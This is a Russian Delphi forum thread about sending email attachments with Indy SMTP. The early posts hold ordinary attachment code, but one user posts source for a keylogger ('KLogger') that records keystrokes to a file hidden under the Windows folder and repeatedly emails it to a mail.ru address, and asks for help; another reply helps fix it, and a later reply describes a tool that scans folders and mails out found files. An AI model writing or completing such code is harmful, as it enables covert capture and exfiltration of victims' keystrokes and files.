[Lacoste1024]

Вобщем делаю программу для отпарвки файла на почту. Тема, от кого, текст письма отправляется, а файл нет... Отправка у меня в отдельном потоке.

Вот код:

Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent,  IdTCPConnection,
  IdTCPClient, IdMessageClient, IdSMTP, IdMessage, TSendThread;

type
  TForm1 = class(TForm)
    IdSMTP1: TIdSMTP;
    IdMessage1: TIdMessage;
    Label1: TLabel;
    Edit1: TEdit;
    Label2: TLabel;
    Edit2: TEdit;
    GroupBox1: TGroupBox;
    Label3: TLabel;
    Edit3: TEdit;
    Label4: TLabel;
    Memo1: TMemo;
    Label5: TLabel;
    Edit4: TEdit;
    Label6: TLabel;
    Edit5: TEdit;
    OpenButton: TButton;
    OpenDialog1: TOpenDialog;
    Button1: TButton;
    Label7: TLabel;
    Label8: TLabel;
    Button2: TButton;
    Edit6: TEdit;
    Edit7: TEdit;
    Edit8: TEdit;
    procedure OpenButtonClick(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
    so:TSendObj;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  M: TIdMessage;
  ATT: Tidattachment;
implementation

{$R *.dfm}

function GetFileSize(FileName: String): Integer;
var
  FS: TFileStream;
begin
  try
    FS := TFileStream.Create(Filename, fmOpenRead);
  except
    Result := -1;
  end;
  if Result <> -1 then Result := FS.Size;
  FS.Free;
end;

procedure TForm1.OpenButtonClick(Sender: TObject);

begin
if opendialog1.Execute then begin
  edit5.Text:=opendialog1.FileName;
  label7.Caption:='Размер: '+inttostr(GetFileSize(edit5.Text)div 1024)+'кб';
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
M := TIdMessage.Create(Form1);
M.Body.Add(Memo1.Text);
M.From.Text := '"'+edit1.text+'" <'+edit2.Text+'>';
M.Recipients.Add;
M.Subject := edit3.text;
m.Recipients.EMailAddresses:=edit4.text;
IdSMTP1.AuthenticationType := atlogin;
IdSMTP1.Host := edit6.Text;
IdSMTP1.Username := edit7.Text;
IdSMTP1.Password := edit8.Text;
m.IsEncoded:=true;
ATT:=TIdAttachment.Create(m.MessageParts,edit5.Text);

so:=TSendObj.Create(true);
so.Resume;
so.Priority:=tpLower;

att.free;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
 so.Terminate;
end;

end.

Поток:

Код:

unit TSendThread;

interface

uses
  Classes, SysUtils, IdMessage;

type
  TSendObj = class(TThread)
  private
    { Private declarations }
  protected
    procedure Execute; override;
  end;

implementation

uses Unit1;


procedure TSendObj.Execute;
begin
try
   form1.IdSMTP1.Connect();
   form1.label8.Caption:='Статус: Отправляется';
   if form1.IdSMTP1.Connected then begin
      form1.IdSMTP1.Send(unit1.M);
      form1.Label8.Caption:='Статус: Отправлено';
   end
   else
      form1.Label8.Caption:='Статус: Не удалось отправить';
finally
  form1.IdSMTP1.Disconnect;
end;
end;

end.

[lmikle]

Смотри в сторону TIdAttachment (кажется так).
Т.е. есть специальный наболр классов для создания аттачментов.

[RusMaXXX]

вот кода для отправки письма с вложением файла:

Код:

 

unit main;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient,
  IdMessageClient, IdSMTP, IdBaseComponent, IdMessage, Buttons, ExtCtrls,
  XPMan;

type
  TMainForm = class(TForm)
    Label1: TLabel;
    ledHost: TLabeledEdit;
    ledFrom: TLabeledEdit;
    ledTo: TLabeledEdit;
    ledCC: TLabeledEdit;
    ledSubject: TLabeledEdit;
    ledAttachment: TLabeledEdit;
    Memo2: TMemo;
    btnSendMail: TBitBtn;
    Button1: TButton;
    LabeledEdit1: TLabeledEdit;
    LabeledEdit2: TLabeledEdit;
    MailMessage: TIdMessage;
    SMTP: TIdSMTP;
    AttachmentDialog: TOpenDialog;
    XPManifest1: TXPManifest;
    procedure Button1Click(Sender: TObject);
    procedure btnSendMailClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  MainForm: TMainForm;

implementation

{$R *.dfm}

procedure TMainForm.Button1Click(Sender: TObject);
begin
 if AttachmentDialog.Execute
 then ledAttachment.Text := AttachmentDialog.FileName;
end;

procedure TMainForm.btnSendMailClick(Sender: TObject);
begin

 // установка SMTP
 SMTP.Host := ledHost.Text;
 SMTP.Port := 25;
 // установка сообщения
 Smtp.AuthenticationType := atLogin; // atNone
 Smtp.Username := LabeledEdit1.Text;
 Smtp.Password := LabeledEdit2.Text;

 MailMessage.From.Name := ledFrom.Text;
 MailMessage.Subject := ledSubject.Text; // тема
 MailMessage.From.Address := ledFrom.Text; // адрес отправителя
 MailMessage.Recipients.EMailAddresses := ledTo.Text + ',' + ledCC.Text; // получатель + копия
 MailMessage.Body.Text := Memo2.Text; // текст сообщения

 if FileExists(ledAttachment.Text) then
    TIdAttachment.Create(MailMessage.MessageParts,ledAttachment.Text);

 try
  try
   SMTP.Connect(1000);
   Application.ProcessMessages;
   SMTP.Send(MailMessage);
   MessageBox(0, 'Письмо успешно отправленно', 'Информация', 0);
  except on E:Exception do
   begin
    MessageBox(0, 'Письмо не было отправленно', 'Информация', 0);
   end;
  end;
 finally
  if SMTP.Connected then SMTP.Disconnect;
 end;
 
end;

end.

[atoll_85]

Пишет что TIdAttachment - незнает...
Я правда по себе делал, подскажите что не так?????

Код:

Program KLogger;
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient,
  IdMessageClient, IdSMTP, IdBaseComponent, IdMessage, Buttons, ExtCtrls,
  XPMan;

const
  FlName='c:\windows\twain_32\kbd_report.txt';
  wait=50;

var
  wndh:Cardinal;
  wndtxt:array[0..255]of char;
  wndclass:array[0..255]of char;
  cstr:string='';
  num:integer;
    i:integer;

function izex(path:pchar):boolean;{проверка наличия файла на диске}
begin
  Result:=true;
  if GetFileAttributes(path)=DWord(-1) then
    result:=false;
end;

function ontop(wH:Cardinal):boolean;{проверка - является ли окно самым верхним}
begin
  Result:=(GetForegroundWindow()=wH);
end;

procedure SendFile;
var
  SMTP: TIdSMTP;
  MailMessage: TIdMessage;

begin
 // установка SMTP
 SMTP.Host := 'smtp.mail.ru';
 SMTP.Port := 25;
 // установка сообщения
// SMTP.AuthenticationType := atNone//Login; // atNone
{ Smtp.Username := LabeledEdit1.Text;
 Smtp.Password := LabeledEdit2.Text;}

 MailMessage.From.Name := 'hook';
 MailMessage.Subject := 'hook'; // тема
 MailMessage.From.Address := 'xxx@mail.ru'; // адрес отправителя
 MailMessage.Recipients.EMailAddresses := 'xxxx@mail.ru'; // получатель
 MailMessage.Body.Text := DateToStr(Date); // текст сообщения

 if FileExists(FlName) then
    TIdAttachment.Create(MailMessage.MessageParts, FlName);

 try
  try
   SMTP.Connect(1000);
   Application.ProcessMessages;
   SMTP.Send(MailMessage);
   MessageBox(0, 'Письмо успешно отправленно', 'Информация', 0);
  except on E:Exception do
   begin
    MessageBox(0, 'Письмо не было отправленно', 'Информация', 0);
   end;
  end;
 finally
  if SMTP.Connected then SMTP.Disconnect;
 end;


procedure writer(value:string);{запись значений нажатых клавиш на диск}
var
  F:TextFile;
begin
  AssignFile(F,FLName);
  if izex(FLName) then
    Append(F)
  else
    Rewrite(F);
  for i:=1 to length(value) do
    write(F,value[i]);
  CloseFile(F);
end;

{var
  i: integer;   }
BEGIN
  While true do begin
    wndh:=GetForegroundWindow();
    while ontop(wndh) do begin
      For num:=8 to 90 do begin
        if GetAsyncKeyState(num)=-$7FFF then
          if GetKeyState(num)<>0 then
            cstr:=cstr+chr(num);
      end;
  end;
  if cstr<>'' then
    writer(cstr);
  Sleep(wait);
  cstr:='';
  SendFile;
end;
END.

Admin: Пользуемся тегами, иначе последуют санкции!

[lmikle]

Это известная проблема Indy. Она не всегда включает автоматически нужные модули. Посмори в каком модуле описан этот класс и добавб его в uses (сам вечно забываю где он лежит - приходится по исходникам бегать).

[RusMaXXX]

прога ищет в указанном каталоге файлы с определенным расширением, и отправляет их на почту... вот накидал за 5 минут.... глянь

данный исходник, позволяет отправить файлы найденные не только в указанной папке, но и в подкаталогах той папки, пример:
каталог c:\windows, ищем к примеру все текстовые файлы, *.txt, прога про сканирует весь каталог windows, и найденные текстовые файлы присоединит к письму...!!!!